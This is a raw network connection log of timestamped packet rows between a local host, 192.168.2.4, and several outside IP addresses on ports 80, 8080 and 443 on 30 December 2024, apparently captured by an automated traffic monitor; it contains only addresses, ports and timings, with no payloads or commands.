Dec 30, 2024 19:45:50.103308916 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103323936 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103334904 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:50.103339911 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103352070 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103363037 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103368998 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:50.103375912 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103388071 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103396893 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:50.103415012 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:50.103446960 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103504896 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103513956 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103524923 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103534937 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103545904 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:50.103573084 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:50.103605032 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103616953 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103626966 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103648901 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103653908 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:50.103686094 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:50.103715897 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103725910 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103735924 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103746891 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103765011 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:50.103776932 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:50.103857994 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103868961 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103883028 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103907108 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:50.103928089 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103939056 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103949070 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103976965 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:50.103991985 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:50.104062080 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.104074001 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.104114056 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:50.193016052 CET	50072	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:50.197801113 CET	80	50072	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:50.198548079 CET	50072	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:50.198698997 CET	50072	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:50.198709011 CET	50072	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:50.203422070 CET	80	50072	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:50.203546047 CET	80	50072	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:51.509804010 CET	50073	8080	192.168.2.4	87.120.115.216
Dec 30, 2024 19:45:51.514667034 CET	8080	50073	87.120.115.216	192.168.2.4
Dec 30, 2024 19:45:51.514733076 CET	50073	8080	192.168.2.4	87.120.115.216
Dec 30, 2024 19:45:51.529515982 CET	50073	8080	192.168.2.4	87.120.115.216
Dec 30, 2024 19:45:51.534348011 CET	8080	50073	87.120.115.216	192.168.2.4
Dec 30, 2024 19:45:51.591084003 CET	50073	8080	192.168.2.4	87.120.115.216
Dec 30, 2024 19:45:51.595921040 CET	8080	50073	87.120.115.216	192.168.2.4
Dec 30, 2024 19:45:51.683324099 CET	80	50072	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:51.685524940 CET	80	50072	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:51.685576916 CET	50072	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:51.685638905 CET	50072	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:51.690352917 CET	80	50072	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:51.701881886 CET	50074	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:51.706674099 CET	80	50074	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:51.706732988 CET	50074	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:51.706866980 CET	50074	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:51.706907034 CET	50074	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:51.711565971 CET	80	50074	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:51.711703062 CET	80	50074	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:53.143642902 CET	80	50074	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:53.143910885 CET	80	50074	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:53.145324945 CET	50074	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:53.145612001 CET	50074	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:53.151132107 CET	80	50074	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:53.169532061 CET	8080	50073	87.120.115.216	192.168.2.4
Dec 30, 2024 19:45:53.171967983 CET	50073	8080	192.168.2.4	87.120.115.216
Dec 30, 2024 19:45:53.181318998 CET	50075	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:53.187046051 CET	80	50075	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:53.187185049 CET	50075	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:53.187393904 CET	50075	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:53.187393904 CET	50075	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:53.192914009 CET	80	50075	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:53.193094969 CET	80	50075	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:53.258667946 CET	50073	8080	192.168.2.4	87.120.115.216
Dec 30, 2024 19:45:53.264240980 CET	8080	50073	87.120.115.216	192.168.2.4
Dec 30, 2024 19:45:54.010487080 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:54.010687113 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:54.012447119 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:54.017188072 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:54.618961096 CET	80	50075	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:54.619149923 CET	80	50075	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:54.619208097 CET	50075	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:54.626317024 CET	50075	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:54.631042004 CET	80	50075	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:54.779890060 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:54.779934883 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:54.779998064 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:54.780288935 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:54.780307055 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.108171940 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:55.108218908 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:55.108279943 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:55.118179083 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:55.118191004 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:55.393162966 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.393275023 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.394761086 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.394768953 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.395097017 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.395791054 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.443339109 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.627953053 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:55.628041983 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:55.635063887 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:55.635070086 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:55.635308027 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:55.712546110 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:55.719310999 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.719352961 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.719372034 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.719425917 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.719444036 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.719455004 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.719489098 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.727089882 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.727109909 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.727148056 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.727154016 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.727202892 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.755369902 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:55.805716991 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.805742025 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.805780888 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.805794001 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.805804014 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.813070059 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.813097000 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.813163996 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.813169956 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.813792944 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.813812017 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.813857079 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.813864946 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.813877106 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.815663099 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.815686941 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.815731049 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.815736055 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.815781116 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.836452961 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:55.836478949 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:55.836486101 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:55.836534023 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:55.836539030 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:55.836555004 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:55.836580992 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:55.836594105 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:55.856121063 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:55.856127977 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:55.856189013 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:55.894119978 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.894143105 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.894192934 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.894202948 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.894233942 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.899214029 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.899236917 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.899283886 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.899290085 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.899338961 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.900062084 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.900080919 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.900130987 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.900141954 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.900161028 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.900784969 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.900813103 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.900851011 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.900855064 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.900883913 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.901576042 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.901593924 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.901629925 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.901634932 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.901663065 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.903271914 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.903301001 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.903366089 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.903371096 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.903403997 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.927011967 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:55.927022934 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:55.927084923 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:55.927767992 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:55.927776098 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:55.927846909 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:55.929542065 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:55.929550886 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:55.929630995 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:55.946727991 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:55.946821928 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:55.973014116 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.973059893 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.973098040 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.973104954 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.973144054 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.980722904 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.980771065 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.980798960 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.980813026 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.980855942 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.985198975 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.985218048 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.985297918 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.985304117 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.985654116 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.985677004 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.985714912 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.985721111 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.985754013 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.986428976 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.986447096 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.986490965 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.986496925 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.986522913 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.987087011 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.987107992 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.987153053 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.987158060 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.987180948 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.987720966 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.987737894 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.987782955 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.987787008 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.987801075 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.987801075 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.987829924 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.987835884 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.987850904 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.987858057 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:55.987886906 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:55.987907887 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.017492056 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.017570972 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.018134117 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.018188000 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.018786907 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.018848896 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.019794941 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.019841909 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.019875050 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.019881964 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.019896030 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.019943953 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.020728111 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.020787001 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.037349939 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.037460089 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.037811041 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.037878036 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.059786081 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.059830904 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.059866905 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.059873104 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.059905052 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.059919119 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.066756964 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.066778898 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.066824913 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.066833019 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.066847086 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.066909075 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.071624041 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.071641922 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.071696043 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.071701050 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.071748018 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.071782112 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.071960926 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.071985006 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.072031021 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.072036028 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.072057009 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.072123051 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.072124004 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.072135925 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.072156906 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.072176933 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.072182894 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.072213888 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.072232008 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.072664976 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.072685003 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.072737932 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.072742939 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.072773933 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.072793007 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.073263884 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.073283911 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.073321104 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.073324919 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.073348045 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.073350906 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.073373079 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.073383093 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.073386908 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:56.073414087 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.073446989 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:56.108057022 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.108136892 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.108664036 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.108722925 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.109355927 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.109426975 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.109925985 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.109962940 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.109997034 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.110002995 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.110023022 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.110043049 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.110970020 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.111037016 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.111855030 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.111916065 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.111918926 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.111927986 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.111972094 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.112827063 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.112895012 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.113750935 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.113821983 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.128021002 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.128107071 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.128112078 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.128122091 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.128158092 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.128196955 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.128319979 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.128367901 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:56.128700018 CET	443	50077	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:56.128766060 CET	50077	443	192.168.2.4	192.185.175.158
